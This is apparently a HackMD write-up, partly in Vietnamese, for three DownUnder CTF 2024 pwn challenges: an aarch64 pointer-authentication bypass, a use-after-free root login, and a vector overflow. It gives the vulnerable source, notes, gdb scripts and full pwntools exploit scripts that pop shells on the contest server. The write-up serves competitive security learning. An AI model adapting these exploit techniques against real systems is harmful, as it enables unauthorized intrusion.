Try   HackMD

(writeup) Downunder CTF 2024

pac shell

  • basic file check

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • source
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    char name[8];
    void (*fptr)();
} builtin_func;

void ls() {
    system("ls");
}

void read64() {
    unsigned long* addr;
    printf("read64> ");
    scanf("%p", &addr);
    printf("%8lx\n", *addr);
}

void write64() {
    unsigned long* addr;
    unsigned long val;
    printf("write64> ");
    scanf("%p %lx", &addr, &val);
    *addr = val;
}

void help();
builtin_func BUILTINS[4] = {
    { .name = "help", .fptr = help },
    { .name = "ls", .fptr = ls },
    { .name = "read64", .fptr = read64 },
    { .name = "write64", .fptr = write64 },
};

void help() {
    void (*f)();
    for(int i = 0; i < 4; i++) {
        f = BUILTINS[i].fptr;
        __asm__("paciza %0\n" : "=r"(f) : "r"(f));
        printf("%8s: %p\n", BUILTINS[i].name, f);
    }
}

int main() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    void (*fptr)() = NULL;

    puts("Welcome to pac shell v0.0.1");
    help();

    while(1) {
        printf("pacsh> ");
        scanf("%p", &fptr);
        __asm__("autiza %0\n" : "=r"(fptr) : "r"(fptr));
        (*fptr)();
    }
}

analyse

  • arbitrary read and write
  • leak primitive > libc, stack
  • sẽ bị cấn ở khúc paciza khi nó là 1 hàm kiểu tạo "chữ kí số" cho 1 địa chỉ và autiza là phân giải chữ kí đó

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

tạo 2 byte đầu tiên ngẫu nhiên cho mỗi lần chạy

  • và để thực thi đúng gadget của mình, ta cần input đúng cái signature của nó
  • tận dụng write arbitrary, ta ow địa chỉ gadget ta cần vào BUITINS

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

cứ ow func nào cũng dc

  • rồi call help() sẽ in ra "chữ kí số đó"
void help() {
    void (*f)();
    for(int i = 0; i < 4; i++) {
        f = BUILTINS[i].fptr;
        __asm__("paciza %0\n" : "=r"(f) : "r"(f)); // đây nè
        printf("%8s: %p\n", BUILTINS[i].name, f);
    }
}
  • việc bây giờ ta chỉ cần ow binsh và system lên stack
  • rồi kiếm gadget phù hợp trong libc để call
  • căn chỉnh binsh và system để gadget thực thi hợp lí

get flag

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • debug.dbg
file pacsh_patched
set architecture aarch64
target remote :1234
b*main+136
b*main+144
b*main+156
b*read64+60
b*read64+84
b*write64+68
b*write64+72
b*write64+120
c
  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('pacsh_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)

context.arch = 'aarch64'

# p = process(['qemu-aarch64', '-g' ,'1234' ,'./pacsh'])
p = remote('2024.ductf.dev',30027)

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

p.recvuntil(b'v0.0.1\n')
p.recvuntil(b'help: ')
help_cmd = int(p.recvuntil(b'\n',drop=True),16)
p.recvuntil(b'ls: ')
ls_cmd = int(p.recvuntil(b'\n',drop=True),16)
p.recvuntil(b'read64: ')
read_cmd = int(p.recvuntil(b'\n',drop=True),16)
p.recvuntil(b'write64: ')
write_cmd = int(p.recvuntil(b'\n',drop=True),16)

info("help: " + hex(help_cmd))
info("ls: " + hex(ls_cmd))
info("read64: " + hex(read_cmd))
info("write64: " + hex(write_cmd))

exe.address = (help_cmd - exe.sym.help) & 0xffffffffffff
puts_got = exe.got.puts

context.log_level = 'debug' 
# raw_input('Debug')

def write(addr, val):
	sla(b'pacsh> ',hex(write_cmd))
	sla(b'write64> ', hex(addr).encode() + b' ' + hex(val).encode())

def read(addr):
	sla(b'pacsh> ',hex(read_cmd))
	sla(b'read64> ', hex(addr).encode())

read(puts_got)
libc_leak = int(p.recvuntil(b'\n',drop=True),16)
libc.address = libc_leak - libc.sym.puts
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

binsh = next(libc.search(b'/bin/sh\0'))
system = exe.sym.system
mov_x0_x3 = libc.address + 0x0000000000099f40
ldr_x0_sp_0x60_ldp_x29_x30_sp_0x150 = libc.address + 0x00000000000d8854
info("ow: " + hex(ldr_x0_sp_0x60_ldp_x29_x30_sp_0x150))

#change ls -> rop
func = exe.sym.BUILTINS+8+0x10

read(libc.sym.environ)
stack_leak = int(p.recvuntil(b'\n',drop=True),16)
info("stack leak: " + hex(stack_leak))
stack_need = stack_leak - 0x198 + 0x50
need2 = stack_leak - 0x1a0
info("system: " + hex(need2))
info("binsh: " + hex(stack_need))

write(stack_need,binsh) #20e50
write(need2,system) #20f40
write(func, ldr_x0_sp_0x60_ldp_x29_x30_sp_0x150)

sla(b'pacsh> ',hex(help_cmd))
p.recvuntil(b'ls: ')
cast = int(p.recvuntil(b'\n',drop=True),16)
info("cast: " + hex(cast))

sla(b'pacsh> ',hex(cast))

p.interactive()
#DUCTF{did_you_just_bruteforce_the_pac?:(}

DUCTF{did_you_just_bruteforce_the_pac?:(}

sign-in

  • source
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/random.h>

typedef struct {
    long uid;
    char username[8];
    char password[8];
} user_t;

typedef struct user_entry user_entry_t;
struct user_entry {
    user_t* user;
    user_entry_t* prev;
    user_entry_t* next;
};

user_entry_t user_list;
long UID = 1;

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

int menu() {
    int choice;
    puts("1. Sign up");
    puts("2. Sign in");
    puts("3. Remove account");
    puts("4. Get shell");
    printf("> ");
    scanf("%d", &choice);
    return choice;
}

void sign_up() {
    user_t* user = malloc(sizeof(user_t));
    user_entry_t* entry = malloc(sizeof(user_entry_t));
    user->uid = UID++;
    printf("username: ");
    read(0, user->username, 8);
    printf("password: ");
    read(0, user->password, 8);
    entry->user = user;

    user_entry_t* curr = &user_list;
    while(curr->next) {
        curr = curr->next;
    }
    entry->prev = curr;
    curr->next = entry;
}

void remove_account(int uid) {
    user_entry_t* curr = &user_list;
    do {
        if(curr->user->uid == uid) {
            if(curr->prev) {
                curr->prev->next = curr->next;
            }
            if(curr->next) {
                curr->next->prev = curr->prev;
            }
            free(curr->user);
            free(curr);
            break;
        }
        curr = curr->next;
    } while(curr);
}

long sign_in() {
    char username[9] = {0};
    char password[9] = {0};
    printf("username: ");
    read(0, username, 8);
    printf("password: ");
    read(0, password, 8);
    user_entry_t* curr = &user_list;
    do {
        if(memcmp(curr->user->username, username, 8) == 0 && memcmp(curr->user->password, password, 8) == 0) {
            printf("Logging in as %s\n", username);
            return curr->user->uid;
        }
        curr = curr->next;
    } while(curr);
    return -1;
}

int main() {
    init();

    long uid = -1;
    user_t root = {
        .uid = 0,
        .username = "root",
    };
    if(getrandom(root.password, 8, 0) != 8) {
        exit(1);
    }

    user_list.next = NULL;
    user_list.prev = NULL;
    user_list.user = &root;

    while(1) {
        int choice = menu();
        if(choice == 1) {
            sign_up();
        } else if(choice == 2) {
            uid = sign_in();
            if(uid == -1) {
                puts("Invalid username or password!");
            }
        } else if(choice == 3) {
            if(uid == -1) {
                puts("Please sign in first!");
            } else {
                remove_account(uid);
                uid = -1;
            }
        } else if(choice == 4) {
            if(uid == 0) {
                system("/bin/sh");
            } else {
                puts("Please sign in as root first!");
            }
        } else {
            exit(1);
        }
    }
}

analyse

  • thoả mãn memcmp return true sẽ trả về return curr->user->uid;
  • > tìm addr trỏ đến 1 addr khác trỏ đến NULL
  • sign_in với username và psw đều NULL

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF("./sign-in")

if args.REMOTE:
    p = remote("2024.ductf.dev",  30022)
else:
    p = process([exe.path])

sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        b*sign_up+232
        b*remove_account+122
        b*remove_account+134
        b*remove_account+167
        b*sign_in+207
        c
        ''')
        input()

def sign_up(name, psw):
    sla(b"> ", b"1")
    sa(b"username:", name)
    sa(b"password:", psw)

def sign_in(name, psw):
    sla(b"> ", b"2")
    sa(b"username:", name)
    sa(b"password:", psw)
    
def remove():
    sla(b"> ", b"3")
    
GDB()

sign_up(b'bbbb',p64(0x402eb8))

sign_in(b'bbbb',p64(0x402eb8))
remove()

sign_up(b'bbbb',b'bbbb')

sign_in(p64(0),p64(0))

sla("> ", "4") #get_shell

p.interactive()
#DUCTF{welcome_root!_9dbfa98e17b7af9dbc1}

DUCTF{welcome_root!_9dbfa98e17b7af9dbc1}

vector overflow

image

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./vector_overflow', checksec=False)

context.binary = exe

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        b*0x4013eb
        c
        ''')
        input()


if args.REMOTE:
    p = remote('2024.ductf.dev',30013)
else:
    p = process(exe.path)
# GDB()
payload =b'DUCTF' 
payload = payload.ljust(0x10,b'\0')
payload += p64(exe.sym.buf) + p64(exe.sym.buf+5)
p.sendline(payload)

p.interactive()
#DUCTF{y0u_pwn3d_th4t_vect0r!!}

DUCTF{y0u_pwn3d_th4t_vect0r!!}